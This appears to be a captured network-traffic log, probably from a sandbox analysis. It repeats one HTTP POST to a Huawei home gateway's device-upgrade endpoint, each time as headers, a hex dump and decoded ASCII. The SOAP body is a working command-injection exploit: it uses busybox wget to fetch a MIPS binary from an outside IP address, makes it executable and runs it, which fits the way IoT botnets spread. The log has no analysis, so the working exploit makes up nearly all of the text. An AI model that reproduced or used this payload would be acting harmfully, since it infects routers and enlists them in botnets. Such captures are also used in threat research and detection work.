70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
